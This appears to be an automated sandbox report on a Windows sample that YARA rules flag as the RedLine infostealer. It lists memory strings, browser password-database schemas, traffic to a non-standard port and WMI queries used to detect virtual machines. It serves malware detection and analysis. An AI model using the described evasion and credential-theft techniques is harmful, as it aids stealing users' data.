Source: VXB84UvyHp.exe, 00000000.00000002.1815291756.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp, VXB84UvyHp.exe, 00000000.00000002.1815291756.0000000003F42000.00000004.00000800.00020000.00000000.sdmp, tmpB7CD.tmp.0.dr, tmpB7DE.tmp.0.dr, tmpB7BC.tmp.0.dr, tmpEECF.tmp.0.dr, tmp805D.tmp.0.dr, tmp806E.tmp.0.dr, tmpB80E.tmp.0.dr, tmpEF01.tmp.0.dr, tmpB7EE.tmp.0.dr, tmpEEF0.tmp.0.dr, tmpEEE0.tmp.0.dr, tmp807F.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: VXB84UvyHp.exe, 00000000.00000002.1815291756.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp, VXB84UvyHp.exe, 00000000.00000002.1815291756.0000000003F42000.00000004.00000800.00020000.00000000.sdmp, tmpB7CD.tmp.0.dr, tmpB7DE.tmp.0.dr, tmpB7BC.tmp.0.dr, tmpEECF.tmp.0.dr, tmp805D.tmp.0.dr, tmp806E.tmp.0.dr, tmpB80E.tmp.0.dr, tmpEF01.tmp.0.dr, tmpB7EE.tmp.0.dr, tmpEEF0.tmp.0.dr, tmpEEE0.tmp.0.dr, tmp807F.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: VXB84UvyHp.exe, 00000000.00000002.1815291756.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp, VXB84UvyHp.exe, 00000000.00000002.1815291756.0000000003F42000.00000004.00000800.00020000.00000000.sdmp, tmpB7CD.tmp.0.dr, tmpB7DE.tmp.0.dr, tmpB7BC.tmp.0.dr, tmpEECF.tmp.0.dr, tmp805D.tmp.0.dr, tmp806E.tmp.0.dr, tmpB80E.tmp.0.dr, tmpEF01.tmp.0.dr, tmpB7EE.tmp.0.dr, tmpEEF0.tmp.0.dr, tmpEEE0.tmp.0.dr, tmp807F.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: VXB84UvyHp.exe	String found in binary or memory: https://ipinfo.io/ip%appdata%
Source: VXB84UvyHp.exe, 00000000.00000002.1815291756.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp, VXB84UvyHp.exe, 00000000.00000002.1815291756.0000000003F42000.00000004.00000800.00020000.00000000.sdmp, tmpB7CD.tmp.0.dr, tmpB7DE.tmp.0.dr, tmpB7BC.tmp.0.dr, tmpEECF.tmp.0.dr, tmp805D.tmp.0.dr, tmp806E.tmp.0.dr, tmpB80E.tmp.0.dr, tmpEF01.tmp.0.dr, tmpB7EE.tmp.0.dr, tmpEEF0.tmp.0.dr, tmpEEE0.tmp.0.dr, tmp807F.tmp.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: VXB84UvyHp.exe, 00000000.00000002.1815291756.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp, VXB84UvyHp.exe, 00000000.00000002.1815291756.0000000003F42000.00000004.00000800.00020000.00000000.sdmp, tmpB7CD.tmp.0.dr, tmpB7DE.tmp.0.dr, tmpB7BC.tmp.0.dr, tmpEECF.tmp.0.dr, tmp805D.tmp.0.dr, tmp806E.tmp.0.dr, tmpB80E.tmp.0.dr, tmpEF01.tmp.0.dr, tmpB7EE.tmp.0.dr, tmpEEF0.tmp.0.dr, tmpEEE0.tmp.0.dr, tmp807F.tmp.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: VXB84UvyHp.exe, type: SAMPLE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: VXB84UvyHp.exe, type: SAMPLE	Matched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
Source: VXB84UvyHp.exe, type: SAMPLE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.0.VXB84UvyHp.exe.ab0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.0.VXB84UvyHp.exe.ab0000.0.unpack, type: UNPACKEDPE	Matched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
Source: 0.0.VXB84UvyHp.exe.ab0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000000.00000000.1688057182.0000000000AB2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: VXB84UvyHp.exe PID: 7296, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown

Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Code function: 0_2_02D2E7B0	0_2_02D2E7B0
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Code function: 0_2_02D2DC90	0_2_02D2DC90
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Code function: 0_2_066E9628	0_2_066E9628
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Code function: 0_2_066E4468	0_2_066E4468
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Code function: 0_2_066E1210	0_2_066E1210
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Code function: 0_2_066E3320	0_2_066E3320
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Code function: 0_2_066ED108	0_2_066ED108
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Code function: 0_2_066EDD00	0_2_066EDD00

Source: VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000002F00000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamefirefox.exe0 vs VXB84UvyHp.exe
Source: VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000002F00000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs VXB84UvyHp.exe
Source: VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000002F00000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q,\\StringFileInfo\\000004B0\\OriginalFilename vs VXB84UvyHp.exe
Source: VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000002F00000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamechrome.exe< vs VXB84UvyHp.exe
Source: VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000002F00000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q,\\StringFileInfo\\040904B0\\OriginalFilename vs VXB84UvyHp.exe
Source: VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000002F00000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameIEXPLORE.EXE.MUID vs VXB84UvyHp.exe
Source: VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000002F00000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameIEXPLORE.EXED vs VXB84UvyHp.exe
Source: VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000002F00000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q,\\StringFileInfo\\080904B0\\OriginalFilename vs VXB84UvyHp.exe
Source: VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000002F00000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsedge.exe> vs VXB84UvyHp.exe
Source: VXB84UvyHp.exe, 00000000.00000002.1813026433.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs VXB84UvyHp.exe
Source: VXB84UvyHp.exe, 00000000.00000000.1688057182.0000000000AB2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameImplosions.exe4 vs VXB84UvyHp.exe
Source: VXB84UvyHp.exe	Binary or memory string: OriginalFilenameImplosions.exe4 vs VXB84UvyHp.exe

Source: VXB84UvyHp.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: VXB84UvyHp.exe, type: SAMPLE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: VXB84UvyHp.exe, type: SAMPLE	Matched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
Source: VXB84UvyHp.exe, type: SAMPLE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.0.VXB84UvyHp.exe.ab0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.0.VXB84UvyHp.exe.ab0000.0.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
Source: 0.0.VXB84UvyHp.exe.ab0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000000.00000000.1688057182.0000000000AB2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: VXB84UvyHp.exe PID: 7296, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@2/43@1/2

Source: C:\Users\user\Desktop\VXB84UvyHp.exe

File created: C:\Users\user\AppData\Local\Yandex

Jump to behavior

Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7304:120:WilError_03

Source: C:\Users\user\Desktop\VXB84UvyHp.exe

File created: C:\Users\user\AppData\Local\Temp\tmp487F.tmp

Jump to behavior

Source: VXB84UvyHp.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: VXB84UvyHp.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\VXB84UvyHp.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'

Source: C:\Users\user\Desktop\VXB84UvyHp.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: tmp801B.tmp.0.dr, tmp802C.tmp.0.dr, tmp804D.tmp.0.dr, tmp803C.tmp.0.dr, tmp487F.tmp.0.dr, tmp4880.tmp.0.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: VXB84UvyHp.exe	Virustotal: Detection: 83%
Source: VXB84UvyHp.exe	ReversingLabs: Detection: 95%

Source: unknown	Process created: C:\Users\user\Desktop\VXB84UvyHp.exe "C:\Users\user\Desktop\VXB84UvyHp.exe"
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Section loaded: ntmarta.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: VXB84UvyHp.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: VXB84UvyHp.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: VXB84UvyHp.exe

Static PE information: 0xF00CA9A2 [Wed Aug 14 23:34:58 2097 UTC]

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 16383
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 16383
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 16383
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 16383
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49734

Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Desktop\VXB84UvyHp.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\VXB84UvyHp.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Memory allocated: 2CE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Memory allocated: 2DA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Memory allocated: 4DA0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Window / User API: threadDelayed 1634			Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Window / User API: threadDelayed 5072			Jump to behavior

Source: C:\Users\user\Desktop\VXB84UvyHp.exe TID: 7448	Thread sleep time: -23058430092136925s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe TID: 7388	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe TID: 7352	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\VXB84UvyHp.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: VXB84UvyHp.exe, 00000000.00000002.1813026433.0000000001267000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\VXB84UvyHp.exe

